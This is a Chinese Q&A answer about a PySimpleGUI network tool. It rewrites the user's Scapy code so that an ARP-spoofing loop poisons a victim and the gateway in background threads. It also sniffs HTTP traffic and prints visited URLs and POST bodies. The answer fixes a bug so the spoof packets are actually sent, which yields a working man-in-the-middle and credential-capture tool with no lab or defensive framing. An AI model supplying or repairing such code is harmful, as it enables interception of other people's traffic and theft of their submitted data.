使用PySimpleGUI开发嗅探工具时按钮卡顿、Multiline输出异常如何解决
问题解决汇总
1. 多标签页输出到对应Multiline组件
问题原因
sg.Output本质是重定向全局唯一的sys.stdout实现输出捕获,所以天然只能存在一个实例,完全不适合多输出框的场景。
解决方法
直接使用Multiline组件自带的print()方法即可,该方法是线程安全的,会自动追加内容,还支持自定义文本/背景颜色,完全替代print和sg.Output:
- ARP欺骗模块的输出统一用
window['-SCANARP-'].print(xxx) - 网络嗅探模块的输出统一用
window['-DOSNIFF-'].print(xxx) - 不要调用
Multiline.update(),该方法会覆盖全部内容,不符合日志追加的需求。
2. 点击启动按钮后界面卡顿
问题原因
PySimpleGUI是单线程事件驱动模型,所有界面事件响应和渲染都在主线程执行,你把ARP欺骗的while True死循环、time.sleep阻塞逻辑,还有嗅探的sniff阻塞函数直接放在主线程回调里,直接把事件循环完全阻塞,导致界面无响应。
解决方法
把所有阻塞型、长时间运行的任务放到独立子线程执行,不要占用主线程:
首先导入线程模块:
import threading
ARP欺骗逻辑改造
把ARP相关逻辑抽成全局独立函数,不要写在事件回调里:
def run_arp_spoof(victima_ip, gateway_ip, window): # 获取目标MAC地址 def get_mac(ip): arp_request = scapy.ARP(pdst = ip) broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast / arp_request answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0] return answered_list[0][1].hwsrc if answered_list else None # 发送ARP欺骗包 def spoof(target_ip, spoof_ip, target_mac): if not target_mac: return packet = scapy.ARP(op = 2, pdst = target_ip, hwdst = target_mac, psrc = spoof_ip) window['-SCANARP-'].print(f"发送ARP包:{packet.summary()}") scapy.send(packet, verbose = False) try: victima_mac = get_mac(victima_ip) gateway_mac = get_mac(gateway_ip) if not victima_mac or not gateway_mac: window['-SCANARP-'].print("错误:无法获取目标或网关MAC,请检查IP配置") return while True: window['-SCANARP-'].print(f"欺骗目标 {victima_ip} 伪装为网关 {gateway_ip}") spoof(victima_ip, gateway_ip, victima_mac) window['-SCANARP-'].print(f"欺骗网关 {gateway_ip} 伪装为目标 {victima_ip}") spoof(gateway_ip, victima_ip, gateway_mac) time.sleep(2) except Exception as e: window['-SCANARP-'].print(f"ARP欺骗终止:{str(e)}")
事件回调里启动子线程:
elif event=='Iniciar ARP': victima = values['-USUARIO-'] gateway = values['-ENLACE-'] # daemon=True保证窗口关闭时子线程自动退出 threading.Thread(target=run_arp_spoof, args=(victima, gateway, window), daemon=True).start()
嗅探逻辑改造
同样把嗅探逻辑抽为全局函数,删掉没用的if __name__ == "__main__"和命令行参数解析代码(GUI程序不需要命令行参数):
def run_sniff(iface, show_raw, window): def process_packet(packet): if packet.haslayer(HTTPRequest): url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode() ip = packet[IP].src method = packet[HTTPRequest].Method.decode() window['-DOSNIFF-'].print(f"\n访问记录:IP {ip} {method} {url}") if show_raw and packet.haslayer(Raw) and method == "POST": window['-DOSNIFF-'].print(f"POST数据:{packet[Raw].load.decode(errors='ignore')}") scapy.sniff(filter="port 80", prn=process_packet, iface=iface, store=False)
事件回调里启动子线程:
elif event=='Iniciar Sniffer': # 如果需要自定义网卡和显示RAW数据,可以在界面加对应输入/复选框组件获取参数 threading.Thread(target=run_sniff, args=(None, True, window), daemon=True).start()
3. 其他需要修复的代码问题
- 原代码中
mac函数的return被注释,导致拿不到MAC地址,ARP包无法发送,上述改造已经修复该问题 - 不要把函数定义写在事件回调内部,避免重复定义的性能问题和逻辑错误
- 可以额外加停止按钮,通过全局flag控制子线程的循环退出,实现不用关闭程序就可以停止ARP欺骗和嗅探的功能
内容的提问来源于stack exchange,提问作者John Aragon
相关产品推荐
相关产品推荐

